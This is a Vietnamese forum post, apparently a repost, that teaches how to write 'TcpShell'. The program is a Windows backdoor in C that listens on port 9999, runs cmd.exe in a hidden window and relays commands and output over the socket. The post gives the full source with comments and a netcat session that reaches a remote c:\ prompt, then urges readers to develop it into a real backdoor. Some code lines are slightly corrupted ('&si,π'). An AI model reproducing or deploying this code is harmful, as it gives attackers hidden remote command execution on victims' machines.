CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\\"),&si,π);

CloseHandle(hPipeInputRead);
CloseHandle(hPipeOutputWrite);

hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
return;
}
else if (lEvent==FD_CLOSE)
{
closesocket(sock);
TerminateProcess(pi.hProcess,0);
TerminateThread(hThread_out,0);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeInputWrite);
NowUsing=FALSE;
}
if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
buf[r]=0;
WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}
DWORD __stdcall OutSocket(LPVOID lpData)
{
char szBuffer[MAXPIPEBUF];
DWORD dwNumberOfBytesRead;
for (;;)
{
if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
if (dwNumberOfBytesRead<=0) continue;
FlushFileBuffers(hPipeOutputRead);
szBuffer[dwNumberOfBytesRead]=0;
send(sock,szBuffer,dwNumberOfBytesRead,0);
}
return 0;
}


Với đoan mã trên thì phần đăng kí và tạo ra window thì đơn giản, các bạn có thể tham khảo cách lập trình C trên Windows. Để khỏi dài dòng mình chỉ nói phần đổ cmd.exe như thế nào mà thôi !
1) Trong tình huống WM_CREATE (tức là khi đang tạo Windows) chúng ta có đoạn mã sau:

Code:
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;//<-- Khởi tạo thư viện winsocket
if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1; //<--Tạo socket listen
//Định nghĩa giá trị cho biến cấu trúc sockaddr_in addrServer
addrServer.sin_family=AF_INET;
addrServer.sin_port=htons(PORT);
addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
memset(&addrServer.sin_zero,'\0',8);
//--------------------------------------------------------------------
if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;//Bind socket listen
if (listen(sock_listen,1)==SOCKET_ERROR) return -1; //<-- Đặt chế độ lắng nghe

//Tạo những tình huống riêng (ở đây mình lấy tên tình huống riêng là WM_SHELL các bạn có thể lấy tên khác tùy ý miễn là nó được định nghĩa WM_USER +x)
if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;

NowUsing=FALSE; //<--Đây đơn giản là biến dùng để đánh dấu socket đang dùng hay là không dùng nữa

2) Giải thích mã của hai hàm GetShell và OutSocket
Code:
a) Hàm GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
long lEvent=WSAGETSELECTEVENT(lParam); //<--Lấy sự kiện
static char buf[MAXRECVBUF]; //Khai báo biến buf để
DWORD dwNumberOfBytesWrite; //
int sock_tmp; //<--Khai báo một socket trung gian
UINT r;
sockaddr_in addrClient;
int sizeClient=sizeof(addrClient);
//Khi có kết nối đến từ máy client - Ở đây kết nối được chấp nhận và sử lý như sau
if (lEvent==FD_ACCEPT)
{
if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET)
if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

//Nếu như đang sử dụng thì đóng socket này lại
if (NowUsing==TRUE)
{
closesocket(sock_tmp);
return;
}

sock=sock_tmp;
send(sock,BANNER,strlen(BANNER),0);
NowUsing=TRUE;

sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

//Tạo hai ống dẫn dùng để đổ cmd.exe. Một ống dùng để nhận lệnh từ client gửi đến và một ống dùng để xuất kết quả trả về cho client

CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

memset((void *)&si,'\0',sizeof(si));
memset((void *)π,'\0',sizeof(pi));
//Khởi tạo một số thông số cho biến cấu trúc si (Startup Information: thông tin khởi động)
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hPipeInputRead;
si.hStdOutput=hPipeOutputWrite;
si.hStdError=hPipeOutputWrite;

//Tạo một tiến trình mới. Mà ở đây là chạy cmd.exe CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\\"),&si,π);

CloseHandle(hPipeInputRead);
CloseHandle(hPipeOutputWrite);
//Tạo luồng trong tiến trình mới với mục đích là đọc ghi dữ liệu
hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
return;
}
else if (lEvent==FD_CLOSE)
{
//Đóng tất các các handle khi xuất hiện tình huống FD_CLOSE
closesocket(sock);
TerminateProcess(pi.hProcess,0);
TerminateThread(hThread_out,0);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeInputWrite);
NowUsing=FALSE;
}
if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
buf[r]=0;
//Nhận dữ liệu từ client và ghi đến CMD.EXE
WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}

3) Giải thích mã hàm OutSocket
Code:
DWORD __stdcall OutSocket(LPVOID lpData)
{
char szBuffer[MAXPIPEBUF];
DWORD dwNumberOfBytesRead;
//Tạo vòng lặp vô tận để nhận kết quả trả về từ CMD.EXE
for (;;)
{
if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
if (dwNumberOfBytesRead<=0) continue;
FlushFileBuffers(hPipeOutputRead);
szBuffer[dwNumberOfBytesRead]=0; //<-- Thêm kí tự kết thúc chuỗi trong dữ liệu trả về
//Hiển thị kết quả CMD.EXE trả về ra màn hình client
send(sock,szBuffer,dwNumberOfBytesRead,0);
}
return 0;
}


Biên dịch đoạn mã trên và thực thi nó sẽ có kết quả như sau:
tcpshell sẽ lắng nghe trên cổng 9999. Chúng ta kết nối đến cổng 9999 bằng netcat để xem tcpshell đổ cmd.exe như thế nào

Code:
d:\>nx -vv -n 10.0.0.1 9999
(UNKNOWN) [10.0.0.1] 9999 (?) open
Seamoun (http://nhomvicki.net) - TcpShell 1.0
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

c:\> <--- Vậy là đã có shell


Sau bài này các bạn có thể phát triển tiếp cho mã trên trở thành một con backdoor thực sự !

Bài này mình viết lâu roài. Đã post lên HVA rồi mà hổng biết sao tìm hổng thấy bài này nên mình post lại smilie

RefLink: http://www.hvaonline.net/hvaonline/posts/list/5516.hva